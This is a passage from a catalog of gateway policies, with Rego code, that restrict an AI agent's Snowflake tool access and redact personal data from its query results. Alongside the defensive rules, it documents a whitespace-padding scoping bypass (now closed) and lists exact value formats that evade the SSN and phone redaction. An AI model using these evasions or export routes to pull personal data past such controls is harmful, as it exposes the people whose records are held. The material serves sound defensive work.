Labs server's YAML config after your audit is **denied-and-alerted instead of silently reachable**. Tools on other MCP servers behind the same gateway pass through unchanged. This is the **anchor policy for the whole Snowflake set**: the companion SQL guard, bulk-export guard, schema-fencing, and egress-redaction policies only ever see a request that already passed this gate, so their per-tool logic can assume the tool inventory is the one that was reviewed. ## Why an exact per-tenant allowlist (pin at import time) On the Snowflake-managed MCP server, every tool is an admin-defined object with a **user-chosen `name`** (docs use kebab-case examples such as `product-search`) and a fixed **`type`** (`SYSTEM_EXECUTE_SQL`, `CORTEX_AGENT_RUN`, `GENERIC`, `CORTEX_SEARCH_SERVICE_QUERY`, `CORTEX_ANALYST_MESSAGE`) that carries the tool's actual semantics — and the `type` is **not visible on the wire** at call time. The Snowflake-Labs server (`snowflake-labs-mcp`) adds dynamically-named Cortex Search/Analyst tools drawn from the `service_name` entries in the admin's YAML. There are **no canonical, suffix-stable names** to match the way other apps' policies match fixed vendor tool names. So this policy matches **exactly** (never `endswith`) against two pinned per-tenant constants that **you must edit at import time**: - `snowflake_server_names` — the MCP server name(s) your gateway admin gave the Snowflake server(s); the gateway prefixes every tool with this name. - `allowed_tool_names` — the exact tool names (as configured in the Snowflake MCP server spec / Labs YAML) that your team audited for this deployment. The shipped values are **illustrative starter examples**, not canonical names (only the Labs entries `list_objects` and `run_snowflake_query` are verified upstream names; the managed-server entries are admin-chosen). Until you replace them with your deployment's real names, legitimate tools will be denied — the fail-closed direction — and nothing unaudited is allowed. ## Compliance alignment - **SOC 2 CC6.1** — supports logical access security over protected assets: a warehouse full of regulated data is reachable only through the tool names that were explicitly audited and pinned. - **SOC 2 CC6.6** — supports boundary protection: an upstream party adding or renaming a tool cannot extend the agent channel's reach past the reviewed inventory. - **SOC 2 CC6.8** — supports preventing unauthorized/unreviewed software on the agent channel: a new MCP tool is new executable capability, denied by default until reviewed (partial — covers the MCP path only). - **SOC 2 CC7.2 / CC7.3** — deny events on unknown names surface tool-set drift as reviewable alerts in the gateway's audit pipeline (partial — alerting/monitoring itself is a platform property, not this policy). - **GDPR Art. 25** — supports data protection by design and by default on the agent channel: the default posture for any new data-access path is deny, and access requires a deliberate allowlist change. ## Tool name matching Matching is case-insensitive (`lower(input.resource.name)`). The **allowlist match is strictly exact** — no `endswith`, no trimming: an in-scope name is allowed only when it equals `-` for some pinned server name and some entry in `allowed_tool_names`. **Scoping** ("is this the Snowflake server?") is decided on a whitespace-trimmed view of the name. A name is in scope when — after trimming leading/trailing whitespace — it starts with a pinned server name from `snowflake_server_names` followed by `-` (the gateway's `-` convention), or equals a pinned server name outright. The trim is deliberate: without it, a padded name like `" snowflake-mcp-execute-sql"` (leading space/tab/newline) would fail the prefix test, be mistaken for a different server, and pass through the out-of-scope allow branch — a fail-open bypass. Because scoping trims but the allowlist match does not, a padded name lands **in scope but is never an exact allowlist match, so it is denied** (fail closed). Everything in scope that does not match exactly is denied — including near-misses like `product-search-v2` and whitespace-padded variants (leading or trailing), which are treated as unknown tools. The gateway's server-name prefix is deployment-specific; verify the exact names your gateway sends with the dump-input debug technique before relying on this in production, and pin **every** Snowflake server name if the gateway fronts more than one (e.g. managed and Labs side by side). ## Argument shape None. The decision is made entirely from the tool name — the point of this gate is that an unknown name's semantics cannot be inspected from its arguments. A matched unknown tool is denied even when its arguments or the whole payload are missing. ## Examples ### Allowed ```jsonc // An audited, pinned Cortex Search tool on the managed server. { "input": { "action": "tool_pre_invoke", "resource": { "name": "snowflake-mcp-product-search", "type": "tool" }, "payload": { "name": "snowflake-mcp-product-search", "args": { "query": "wireless headphones", "limit": 10 } } } } ``` `allow = true`, no reason. ### Denied ```jsonc // A tool added upstream after the audit — name not on the pinned allowlist. { "input": { "action": "tool_pre_invoke", "resource": { "name": "snowflake-mcp-refund-runner", "type": "tool" }, "payload": { "name": "snowflake-mcp-refund-runner", "args": { "message": "process all pending refunds" } } } } ``` `allow = false`, `reason = "The Snowflake tool 'snowflake-mcp-refund-runner' is not on the pinned allowlist (...)"`. ## Composition This policy is the ingress gate the rest of the Snowflake set assumes. Companions in this catalog: - [`guard-warehouse-sql`](../guard-warehouse-sql/policy.md) — destructive-SQL guard on the allowlisted SQL tool. - [`guard-warehouse-export`](../guard-warehouse-export/policy.md) — blocks bulk export (`COPY INTO` external stages) through allowlisted SQL tools. - [`fence-sensitive-schemas`](../fence-sensitive-schemas/policy.md) — schema fencing on allowlisted query tools. - [`deny-composite-cortex-tools`](../deny-composite-cortex-tools/policy.md) — explicit denylist of known composite/`GENERIC` tools; keep it attached even with this gate so an accidentally-allowlisted composite name is still caught. - [`redact-pii-egress`](../redact-pii-egress/policy.md) — egress backstop on result sets. ## Known limitations - **The allowlist is only as good as the audit.** This policy pins *names*, not semantics: if an admin re-points an allowlisted name at a different tool `type` (e.g. renames a `GENERIC` UDF wrapper to a previously audited name), the gate cannot see the change. Re-audit whenever the Snowflake MCP server object or the Labs YAML changes. - **Starter values are illustrative.** Only `list_objects` and `run_snowflake_query` are verified upstream (Labs) names; the managed server has no canonical names to verify. Replace both constants with your deployment's real names at import time. - **Scoping relies on the `-` prefix convention.** A Snowflake server exposed to the gateway *without* a name prefix cannot be distinguished from other servers by this policy — pin the exact bare names into `snowflake_server_names` only if you accept that scoping caveat, and verify with dump-input. Conversely, tools on non-Snowflake servers are out of scope by design and pass through (govern them with their own apps' policies). - **Cross-product over-allowance with multiple servers.** Every `allowed_tool_names` entry is accepted under every pinned server name, so pinning both managed and Labs servers allows e.g. `snowflake-mcp-list_objects` even if that tool only exists on the Labs server. Harmless when the name doesn't exist upstream, but split the policy per server if you need strict per-server inventories. - **A request with no tool name at all is allowed** — it cannot be scoped to the Snowflake server. The gateway never routes a nameless tool call, so this is not a reachable bypass, but the policy asserts nothing over nameless input. - **No identity-based exemptions — intentionally.** Exempting a group from the anchor gate would bypass every downstream Snowflake policy at once. For unaudited tooling needs, use the Snowflake web UI or a native client outside the agent channel, where the user's own role and audit trail apply. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package snowflake.ingress.default_deny_unknown_tools # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # --- Per-tenant pinned constants (EDIT AT IMPORT TIME) --- # The gateway prefixes every tool with the MCP server name it was configured # under (`-`). Pin the name(s) your admin gave the # Snowflake server(s) here — every name starting with one of these prefixes is # treated as a Snowflake tool and subjected to the allowlist. Lower-case only. snowflake_server_names := [ "snowflake-mcp", "snowflake-labs-mcp", ] # The exact tool names your team audited for this deployment, as configured in # the Snowflake MCP server spec (managed) or the Labs YAML (`service_name` # entries). Snowflake tool names are admin-chosen and their `type` (which # carries the real semantics) is invisible on the wire, so there is no stable # suffix to match — matching is EXACT against -. # # These are ILLUSTRATIVE STARTER EXAMPLES — replace them with your # deployment's audited names at import time. Only `list_objects` and # `run_snowflake_query` are verified upstream (Labs) names; the rest are # admin-chosen placeholders. Lower-case only. allowed_tool_names := [ # Managed server (admin-chosen names; types shown for the audit record) "product-search", # CORTEX_SEARCH_SERVICE_QUERY (read) "sales-analyst", # CORTEX_ANALYST_MESSAGE (read) "execute-sql", # SYSTEM_EXECUTE_SQL (governed by guard-warehouse-sql) # Snowflake-Labs server (verified upstream names) "list_objects", "run_snowflake_query", ] # Case-insensitive; the allowlist match below is otherwise strictly exact (no # suffix matching). Always defined — a missing name yields "". normalized_name := lower(object.get(object.get(input, "resource", {}), "name", "")) # Scoping ("is this the Snowflake server?") is decided on a whitespace-trimmed # view of the name so that leading/trailing padding cannot push a Snowflake tool # OUT of scope into the pass-through allow branch. Without this, a name like # " snowflake-mcp-execute-sql" (leading space/tab/newline) would fail the # `startswith` prefix test, be treated as a non-Snowflake server, and be allowed # — a fail-open bypass. Trimming here keeps padded names in scope; the exact # allowlist match below still runs on the untrimmed `normalized_name`, so a # padded name is in scope but never an exact allowlist match => denied (fail # closed). trim_space trims Unicode whitespace on both ends. scoping_name := trim_space(normalized_name) # A tool is in scope when it carries a pinned Snowflake server-name prefix # followed by the gateway's `-` separator... is_snowflake_tool if { some server in snowflake_server_names startswith(scoping_name, concat("", [server, "-"])) } # ...or is exactly a pinned server name (degenerate prefix-only name: still # Snowflake-scoped, and never allowlisted, so it is denied). is_snowflake_tool if { some server in snowflake_server_names scoping_name == server } # The name exactly equals - for some pinned pair. is_allowed_snowflake_tool if { some server in snowflake_server_names some tool in allowed_tool_names normalized_name == concat("-", [server, tool]) } # Tools on other MCP servers are out of scope — pass through unchanged. allow if { not is_snowflake_tool } # Snowflake tools are allowed only on an exact allowlist match. allow if { is_snowflake_tool is_allowed_snowflake_tool } reasons contains msg if { is_snowflake_tool not is_allowed_snowflake_tool msg := sprintf("The Snowflake tool '%s' is not on the pinned allowlist of audited tool names for this gateway, so it is denied by default. Snowflake tool names are admin-chosen and the type that carries their real semantics (SQL execution, Cortex agent, generic UDF) is not visible on the wire, so an unknown name may be a newly added or renamed tool that has not been reviewed. If this tool is legitimate, ask your gateway operator to audit it against the Snowflake MCP server spec and add its exact name to the pinned allowlist in this policy.", [normalized_name]) } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Snowflake Deny Composite & Generic Tools URL: https://www.intentbasedpolicy.com/policies/snowflake/deny-composite-cortex-tools App(s): snowflake | Direction: ingress | Bundles: soc2 | Package: snowflake.ingress.deny_composite_cortex_tools | Published: 2026-07-12 | Tags: snowflake, deny-escape-hatches, access-control, cortex, ingress, soc2, iso27001-nist Source: https://github.com/dtwoai/policy-store/blob/main/apps/snowflake/deny-composite-cortex-tools/policy.md # snowflake / deny-composite-cortex-tools **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `snowflake.ingress.deny_composite_cortex_tools` ## What it does Denies the **opaque composite and generic passthrough tools** on the Snowflake-managed MCP server whose execution the gateway cannot inspect one SQL statement at a time: - **`CORTEX_AGENT_RUN`-typed tools** — invoke a Cortex Agent that runs a multi-step plan **server-side**, and that plan can itself issue SQL. The gateway sees one opaque call, so a per-statement SQL guard, export block, or schema fence can never reach inside it. - **`GENERIC`-typed tools** — wrap an arbitrary user-defined function (UDF) or stored procedure with side effects. What the UDF/procedure does is not visible on the wire, so argument-level policy has nothing to inspect. - **Snowflake-Labs `agent_services` tools** — the Labs server exposes Cortex Agent tools defined under its `agent_services:` config section; same opaque composite risk as `CORTEX_AGENT_RUN` on the managed server. Denying these forces all agent access through the **granular, inspectable** Search (`CORTEX_SEARCH_SERVICE_QUERY`), Analyst (`CORTEX_ANALYST_MESSAGE`), and SQL (`SYSTEM_EXECUTE_SQL`) tools — the tools that the companion SQL, bulk-export, and schema-fencing policies can actually reason about. Every other tool passes through unchanged. ## Why a per-tenant denylist (pin at import time) On the managed Snowflake MCP server, each tool is an admin-defined object with a **user-chosen `name`** and a fixed **`type`** (`CORTEX_AGENT_RUN`, `GENERIC`, `SYSTEM_EXECUTE_SQL`, …). **The `type` is not visible on the wire** at call time — the gateway sees only the name, and names are arbitrary (`sales-agent`, `run-plan`, `invoke-refund-udf`, anything the admin chose). There is therefore **no stable suffix to match** the way other apps' escape hatches match a fixed vendor tool name. So the denylist is a **per-tenant array** (`denied_composite_tool_names`) of the exact tool names your Snowflake admin configured for the composite (`CORTEX_AGENT_RUN`) and generic (`GENERIC`) tools you want denied — plus any Labs agent-service names. It ships with an illustrative **starter set** that you **must** replace with your deployment's real names at import time; the names below are examples, not canonical tool names. Until you pin your own names, this branch denies only the example names and nothing else. This is primarily a **security-value** policy: the coverage matrix files "Snowflake generic SQL tools" under the PF-22 `deny-escape-hatches` family and cites ISO 27001 A.8.2 / NIST AC-6 for it. Denying an uninspectable escape hatch on the agent channel also supports the SOC 2 boundary-protection (CC6.6) and least-privilege (CC6.3) criteria (see Compliance alignment), so it carries the `soc2` bundle. ## Compliance alignment - **SOC 2 CC6.6** — supports boundary protection on the agent channel: an opaque composite plan or generic UDF/procedure wrapper is an uninspectable path that bypasses every downstream SQL, export, and schema control; denying it keeps the channel's reach inside the granular, inspectable tools the boundary was drawn around. **SOC 2 CC6.3** — supports least-privilege by forcing access through the granular tools instead of a privileged composite runner. - **ISO 27001 A.8.2 / NIST 800-53 AC-6(9), AC-6(10)** — privileged access restriction: an opaque composite plan or a generic UDF/procedure wrapper is a privileged, uninspectable function on the agent channel; denying it supports restricting privileged functions to authorized, auditable paths and forcing access through granular tools that the gateway can govern. The ISO/NIST controls sit outside the soc2 / hipaa / pci-dss / gdpr-ccpa / sox bundle set; the SOC 2 criteria above place this policy in the `soc2` bundle. ## Why ingress A Cortex Agent plan or a generic UDF/procedure executes the moment the call reaches Snowflake — its internal SQL runs, side effects commit, and the gateway never saw the individual statements. Egress inspection would see only the aggregated result, far too late to stop what the plan already did. Denying at ingress is the only point where the opaque call can be prevented. ## Tool name matching Matching is case-insensitive after surrounding whitespace is stripped (`lower(trim_space(input.resource.name))`) so a trailing space, newline, or CRLF cannot slip a name past the check. Two independent branches deny: 1. **Pinned per-tenant names** (`denied_composite_tool_names`). Each entry matches when it is the whole tool name **or** appears as a suffix preceded by a non-alphanumeric separator (`-`, `_`, `.`, `/`, …). This keeps a pinned name portable across the gateway's server-name prefix (e.g. a configured `run-cortex-agent` matches `snowflake-mcp-run-cortex-agent`) without over-matching a name where a letter or digit immediately precedes it (e.g. `sales-agent` does **not** match `wholesales-agent`). 2. **Labs `agent_services` token** — a name containing the token `agent_services` bounded by non-alphanumerics (`(^|[^a-z0-9])agent_services([^a-z0-9]|$)`), a heuristic for the Snowflake-Labs agent-service surface. This is a defense-in-depth backstop; the Labs agent tools are named after the `service_name` entries in the admin's YAML config and are **not** verified to carry the literal token, so pin their real names in `denied_composite_tool_names` as well. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape None. The decision is made entirely from the tool name — the whole point is that these tools' behavior is *not* inspectable from their arguments. A matched tool is denied even when its arguments are empty or missing. ## Examples ### Allowed ```jsonc // A granular Cortex Search tool — inspectable, not on the denylist. { "input": { "action": "tool_pre_invoke", "resource": { "name": "snowflake-mcp-product-search", "type": "tool" }, "payload": { "name": "snowflake-mcp-product-search", "args": { "query": "wireless headphones", "limit": 10 } } } } ``` `allow = true`, no reason. ### Denied ```jsonc // A pinned CORTEX_AGENT_RUN tool (admin-chosen name), with the gateway prefix. { "input": { "action": "tool_pre_invoke", "resource": { "name": "snowflake-mcp-run-cortex-agent", "type": "tool" }, "payload": { "name": "snowflake-mcp-run-cortex-agent", "args": { "message": "reconcile Q2 revenue and email finance" } } } } ``` `allow = false`, `reason = "This Snowflake tool is a composite or generic passthrough (...)"`. ## Composition This policy closes the opaque-composite path so the inspectable-tool policies can do their job. Useful companions (author per your deployment): - **Deny destructive / export SQL (ingress)** on the SQL execution tool (`SYSTEM_EXECUTE_SQL` / `run_snowflake_query`) — the `guard-warehouse-sql` (PF-07) family. - **Schema fencing (ingress)** — deny queries referencing regulated schemas (`fence-sensitive-scopes`, PF-23). - **`default-deny-unknown-tools` (ingress, PF-28)** — an allowlist of the audited granular tool names, so a newly published composite/generic tool is denied by default even before you add it here. - **Egress PII redaction** on the Search / Analyst / SQL result sets. ## Known limitations - **Denylist, not allowlist — and empty by default for your tenant.** The shipped names are illustrative examples. A composite or generic tool you have **not** pinned is allowed through. Pin the array to your deployment's real tool names at import time, and pair with a `default-deny-unknown-tools` allowlist (PF-28) for a fail-closed posture against newly added tools. - **`type` is invisible on the wire — names only.** The policy trusts that the names you pinned really are the `CORTEX_AGENT_RUN` / `GENERIC` tools. If an admin renames a composite tool, or publishes a new one under an unpinned name, it is not caught until you update the array. Re-audit when the Snowflake MCP server object changes. - **`agent_services` token is a heuristic, not a verified tool name.** The Snowflake-Labs agent tools are named after `service_name` entries in the admin's YAML config; the landscape research could not verify that the literal token `agent_services` appears in the wire name. Treat branch 2 as a backstop and pin the real Labs agent-service names in `denied_composite_tool_names`. - **No server-prefix scoping on the token branch.** A tool on an unrelated MCP server whose name embeds the `agent_services` token would also be denied. Collisions are unlikely, but if one occurs, remove the token branch and rely solely on the pinned array. - **No identity-based exemptions — intentionally.** There is no break-glass group: exempting an identity would hand it a bypass of every downstream SQL, export, and schema policy, which is exactly what this policy exists to prevent. For genuine Cortex Agent work, use the Snowflake web UI or a native client outside the agent channel, where the user's own role and audit trail apply. - **Suffix matching trusts the `-` prefix convention.** A tool literally named `` matches the pinned entry even if it is a different tool. Replace suffix entries with full gateway names (exact match still fires) if your deployment needs strict exact-name pinning. A request that carries **no tool name at all** (or a non-string `resource.name`) matches nothing and is allowed — the gateway never routes a nameless or non-string tool call, so this is not a reachable bypass, but the policy asserts nothing over nameless/non-string input. - **Appended-token / separator-variant renames evade branch 1.** A pinned composite name with a version or environment token appended (`run-cortex-agent-v2`) is no longer a suffix of the pinned entry, and an all-underscore rename (`run_cortex_agent`) is a different string — both are allowed until you re-pin. This is the direct consequence of the names-only, per-tenant denylist; the fail-closed answer is `default-deny-unknown-tools` (PF-28), not a fuzzy name match (which would over-match legitimate tools). > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package snowflake.ingress.deny_composite_cortex_tools # Deny-by-default: only the explicit allow rule below permits the request. default allow := false # --- Per-tenant denylist (PIN AT IMPORT TIME) --- # The managed Snowflake MCP server carries each tool's semantics in its `type` # (CORTEX_AGENT_RUN, GENERIC, SYSTEM_EXECUTE_SQL, ...), which is NOT visible on # the wire — the gateway sees only the admin-chosen `name`. So there is no # stable suffix to match. Populate this array with the EXACT names your # Snowflake admin configured for the composite (CORTEX_AGENT_RUN) and generic # (GENERIC) tools you want denied, plus any Labs agent-service names. # # These are ILLUSTRATIVE EXAMPLES — replace them with your deployment's real # tool names. Entries are compared lower-cased; keep them lower-case here. denied_composite_tool_names := [ # CORTEX_AGENT_RUN-typed tools (composite; run server-side multi-step plans) "run-cortex-agent", "sales-agent", # GENERIC-typed tools (wrap an arbitrary UDF / stored procedure) "invoke-refund-udf", "run-stored-proc", # Snowflake-Labs agent-service name (named after a service_name entry) "support_agent", ] # Normalize the tool name once: strip surrounding whitespace (so a trailing # newline / space / CRLF cannot slip a match past the checks below), then # lower-case for case-insensitive matching. If no name is present this is # undefined, both deny branches fail, and the request is allowed — nameless # input is not a reachable tool call (see Known limitations). normalized_name := lower(trim_space(input.resource.name)) # Branch 1: the tool name matches a pinned per-tenant denylist entry. is_denied_composite if { some entry in denied_composite_tool_names name_matches_entry(normalized_name, entry) } # Branch 2: Snowflake-Labs `agent_services` token, bounded by non-alphanumerics # so it fires on `...-agent_services` / `agent_services-...` but not on an # embedded run like `agent_serviceship`. Heuristic backstop — see Known # limitations; pin the real Labs agent-service names above as well. is_denied_composite if { regex.match(`(^|[^a-z0-9])agent_services([^a-z0-9]|$)`, normalized_name) } # A pinned entry matches when it is the whole tool name... name_matches_entry(name, entry) if { name == entry } # ...or when it is a suffix preceded by a non-alphanumeric separator (`-`, `_`, # `.`, `/`, ...), so a configured `run-cortex-agent` still matches the # gateway-prefixed `snowflake-mcp-run-cortex-agent`, while `sales-agent` does # NOT match `wholesales-agent` (a letter immediately precedes the suffix). name_matches_entry(name, entry) if { endswith(name, entry) prefix_len := count(name) - count(entry) prefix_len > 0 sep := substring(name, prefix_len - 1, 1) not regex.match(`[a-z0-9]`, sep) } # Allow everything that is not a denied composite / generic tool. allow if { not is_denied_composite } reasons contains "This Snowflake tool is a composite or generic passthrough (a Cortex Agent / CORTEX_AGENT_RUN plan, a GENERIC UDF or stored-procedure wrapper, or a Labs agent-service) whose steps the gateway cannot inspect one SQL statement at a time, so it is disabled on this path. Route the agent through the granular Search, Analyst, and SQL tools instead, which the gateway's SQL, export, and schema-fencing policies can enforce. If a tool was misclassified, ask your Snowflake admin to review the composite/generic denylist pinned for this gateway." if { is_denied_composite } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Snowflake: Redact PII from Query Result Sets URL: https://www.intentbasedpolicy.com/policies/snowflake/redact-pii-egress App(s): snowflake | Direction: egress | Bundles: soc2, hipaa, gdpr-ccpa | Package: snowflake.egress.redact_pii | Published: 2026-07-12 | Tags: snowflake, redact-pii, pii, dlp, redaction, egress, soc2, hipaa, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/snowflake/redact-pii-egress/policy.md # snowflake / redact-pii-egress **Direction:** egress (`tool_post_invoke`) **Default:** allow (transform-only — never denies) **Package:** `snowflake.egress.redact_pii` ## What it does Scans the row content returned by the result-returning Snowflake MCP tools and rewrites personally identifiable information to fixed redaction tokens before the response reaches the agent: | Class | Detection | Token | |---|---|---| | US SSN | canonical hyphenated `XXX-XX-XXXX` form | `[REDACTED-SSN]` | | Email address | RFC-shaped `local@domain.tld`, word-boundary anchored | `[REDACTED-EMAIL]` | | US phone number | separator-formatted (e.g. `206-555-0100`, `(206) 555-0100`, `+1 206.555.0100`) | `[REDACTED-PHONE]` | Matches are replaced in place, leaving the surrounding row/column structure intact so the agent still gets a usable result set with only the sensitive fields masked. The policy is transform-only: it never denies a call, so a legitimate query still succeeds — it just comes back with SSN, email, and phone values masked. Responses with no matches (and all out-of-scope tools) pass through byte-identical. Every response field is read via `object.get`, so a missing or oddly-shaped payload is never an error — it simply passes through. This is a **backstop for tables that lack Snowflake dynamic data masking policies**. A warehouse routinely holds regulated data (PII, PHI-eligible columns, financial records), and a `SELECT *` over a customer table can exfiltrate it wholesale; when a column has no column-level masking policy attached in Snowflake, this egress redaction is the last line of defence on the agent channel. It is intentionally narrow (three high-signal identifier classes) to limit false positives on free-text columns. ### Group exemption Redaction is gated by IdP group. Callers whose `groups` claim contains `pii-cleared` (a placeholder name — see Known limitations) receive **unredacted** responses. The check reads `input.subject.claims.groups` via `object.get` chains: a missing subject, missing claims, or missing `groups` claim means the caller is *not* cleared and redaction applies — the grant fails closed. This failure mode is safe: a caller whose claims fail to arrive gets over-redaction, never disclosure. ## Compliance alignment - **SOC 2 CC6.7** — supports restricting the transmission/movement of confidential information by masking direct identifiers in query results as they leave the gateway toward the agent. - **SOC 2 C1.1** — supports identification and protection of confidential information on the warehouse read path; **P4.1** — supports limiting personal-information use to identified purposes; **P6.1** — supports controls over personal-information disclosure by keeping raw identifiers out of agent context that doesn't need them. - **HIPAA §164.502(b) / §164.514(d)** — supports minimum-necessary, role-based limits: only placeholder `pii-cleared` group members see raw identifiers; everyone else gets a working result set with identifiers masked. - **HIPAA §164.514(a)–(b)** — supports de-identification practice by stripping Safe-Harbor identifier classes (SSN, email, phone) from responses; **§164.530(c)** — supports privacy safeguards on the agent channel. - **GDPR Art. 5(1)(c)** — data minimisation on agent reads of personal data; **Art. 9** — reduces special-category exposure on the MCP path where identifiers co-occur with health/HR columns; **Art. 5(1)(f) / Art. 32** — supports security of processing. - **CCPA/CPRA §1798.121** — supports limiting the use and disclosure of sensitive personal information (SSN) on the agent channel; **§1798.150** — reduces nonredacted-PI breach exposure. ## Why egress The PII already lives in the warehouse — there is nothing to block at ingress, and denying the query outright would make the agent useless for everyday analytics work. The leak happens when the result set is returned to the MCP client, so the response path is the only place to catch it while keeping the query result useful. Ingress SQL guarding (DML/DDL/export denial, schema fencing) is a separate concern handled by companion policies. ## Tool name matching Applies on the output path (`input.mode == "output"`) to the result-returning Snowflake tools, matched case-insensitively **by suffix** from `input.resource.name` with `input.tool_metadata.name` as a fallback. Suffix matching keeps the policy portable across the gateway server-name prefix (which is not standardised — different deployments name the Snowflake MCP server differently). The suffix set combines **verified wire names** from the two open-source servers with the **tool-type constants** for the managed server: - **Community server (isaacwasserman) — verified wire name:** `read_query` - **Snowflake-Labs server — verified wire names:** `run_snowflake_query`, `query_semantic_views` - **Managed Snowflake MCP server — tool *type* identifiers, matched opportunistically:** `system_execute_sql`, `cortex_search_service_query`, `cortex_analyst_message` > **Important — managed-server names are not guaranteed to match.** On the > Snowflake-managed MCP server each tool has an **admin-chosen name** and a > fixed **type**; the type (`SYSTEM_EXECUTE_SQL`, `CORTEX_SEARCH_SERVICE_QUERY`, > `CORTEX_ANALYST_MESSAGE`) is **not visible on the wire at call time**. The > type constants are included in the suffix set so the policy fires for > deployments that happen to name tools after their type, but a managed > deployment that names its SQL tool `sales-sql` (or anything else) will > **not** be matched until you add that name. Pin your configured names in > `pii_result_suffixes` per the landscape guidance. See Known limitations. Verify the exact names your gateway emits with the dump-input debug technique before relying on this in production. ## Response shape The policy reads `input.payload.text` — the MCP content-block array the gateway populates on `tool_post_invoke` — and rewrites each string block (including string blocks containing serialized JSON row data, since the regexes run over the serialized text). Non-string blocks pass through unmodified. When at least one block changes, the policy emits `transform.transformed_payload` containing the original payload with the rewritten `text` array (all other payload keys preserved). When nothing changes, no transform is emitted and the response passes through byte-identical. ## Examples ### Redacted (in-scope tool, non-cleared caller) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "snowflake-read_query", "type": "tool" }, "subject": { "sub": "auth0|u1", "claims": { "groups": ["analysts"] } }, "payload": { "name": "snowflake-read_query", "text": ["cust 42 | ssn 123-45-6789 | jane@acme.com | 206-555-0100"] } } } ``` `allow = true`, with `transform.transformed_payload.text` = `["cust 42 | ssn [REDACTED-SSN] | [REDACTED-EMAIL] | [REDACTED-PHONE]"]`. ### Passed through (cleared caller) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "snowflake-read_query", "type": "tool" }, "subject": { "sub": "auth0|u2", "claims": { "groups": ["pii-cleared"] } }, "payload": { "name": "snowflake-read_query", "text": ["cust 42 | ssn 123-45-6789"] } } } ``` `allow = true`, no `transform` — the `pii-cleared` group receives raw content. ## Composition Single-purpose transform policy (`default allow := true`); it composes cleanly with deny/transform policies on the same egress pipeline. Recommended companions for `apps/snowflake`: - **`mask-pan-egress` (PF-01)** — cardholder PAN masking (Luhn-validated, mask to BIN+last4) is intentionally **left to that companion policy** and is not handled here. Attach both for cardholder-data environments. - A **`guard-warehouse-sql`-style ingress deny** (PF-07) that blocks DML/DDL, `GRANT`/`REVOKE`, and export constructs (`COPY INTO @`, external stages) in the SQL argument — so data redacted on read cannot be bulk-exported around the gateway instead. - A **`default-deny-unknown-tools`-style ingress allowlist** (PF-28) — on the managed server, tool names are admin-defined and drift; a default-deny allowlist stops a newly-added (unredacted) result tool from silently reaching the agent. - A **`cap-bulk-export`-style ingress guard** (PF-08) that clamps result `limit`, bounding the blast radius of any redaction miss. ## Known limitations - **Managed-server tool names are admin-chosen — the type constants are a best-effort, not a guarantee.** The Snowflake-managed MCP server names each tool arbitrarily; the tool *type* (`SYSTEM_EXECUTE_SQL`, `CORTEX_SEARCH_SERVICE_QUERY`, `CORTEX_ANALYST_MESSAGE`) is not on the wire at call time. This policy matches those type constants opportunistically, but a managed deployment that names its SQL/Cortex tools anything else (e.g. `sales-sql`, `product-search`) is **not** covered until you add the configured names to `pii_result_suffixes`. Pair this with a `default-deny-unknown-tools` allowlist so an unmatched result tool cannot silently leak. - **`CORTEX_AGENT_RUN` and `GENERIC` tools are not matched.** Cortex Agent invocations run opaque multi-step plans server-side and `GENERIC` tools wrap arbitrary UDFs/procedures; their response shapes are not predictable. Deny those tools at ingress rather than relying on egress redaction (see the landscape note). - **Cardholder PAN is out of scope.** PAN detection/masking is deliberately delegated to the companion `mask-pan-egress` (PF-01) policy; this policy does not attempt Luhn validation or card masking. - **Pattern-based detection is best-effort and conservative by design.** SSNs are matched in the canonical hyphenated form only — bare 9-digit runs collide with row IDs and sequence values, and dot- or space-separated forms (`123.45.6789`, `123 45 6789`) are not matched; phones only in separator-formatted US shapes (`(206)555-0100` with no space after the parenthesis, tab-separated forms, and bare 10-digit runs are not matched); emails only when word-boundary anchored. Obfuscated, split-across-cells, spelled-out, full-width/unicode-digit, or non-US-formatted values are not caught. Treat this as a high-signal minimum-necessary layer, not a complete DLP solution. - **Characters glued directly to a value defeat the word-boundary anchors (red-team residual).** The SSN and phone patterns are `\b`-anchored, so a value with an extra digit or letter adjacent and no delimiter escapes detection: `123-45-67890` (SSN with a trailing digit), `id00123-45-6789` (leading digits), `nameX123-45-6789` (letter-prefixed), and `206-555-01000` (phone with a trailing digit) all pass through **unredacted**. This is a deliberate trade-off — dropping the boundary anchors would emit partial redactions such as `[REDACTED-SSN]0` (which still leaks the extra digit) and fire false positives on longer numeric IDs. Where result columns concatenate identifiers without delimiters, rely on column-level masking in Snowflake or a stricter companion policy rather than this egress backstop. - **The email pattern can over-match inside connection strings.** A `user:password@host.example.com` substring in a returned DSN/connection string matches the email shape and is redacted. On egress this is over-redaction (safe), not disclosure, but it can obscure legitimate non-email content — tune `email_pattern` if your result sets routinely contain such strings. - **Non-string content blocks pass through unmodified.** Redaction applies to string entries of `input.payload.text` (including serialized-JSON strings). If your gateway emits structured non-string blocks for Snowflake results, verify their shape with the dump-input technique. - **Group names are placeholders — replace `pii-cleared` with your IdP's group name at import time.** The exemption expects the `groups` claim as an array of strings (a single bare string is also handled); if your IdP emits roles under a namespaced claim, adjust `caller_groups`. Missing claims always mean redaction applies — the failure mode is over-redaction, not disclosure. Never rely on stripped ContextForge-internal claims (`is_admin`, `teams`, `user`) for the exemption. - **Egress `transformed_payload` replaces the response payload wholesale.** Verify the rewrite against your gateway version with the dump-input technique before production, and mind attachment order if other egress transforms (e.g. `mask-pan-egress`) run on the same pipeline. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on 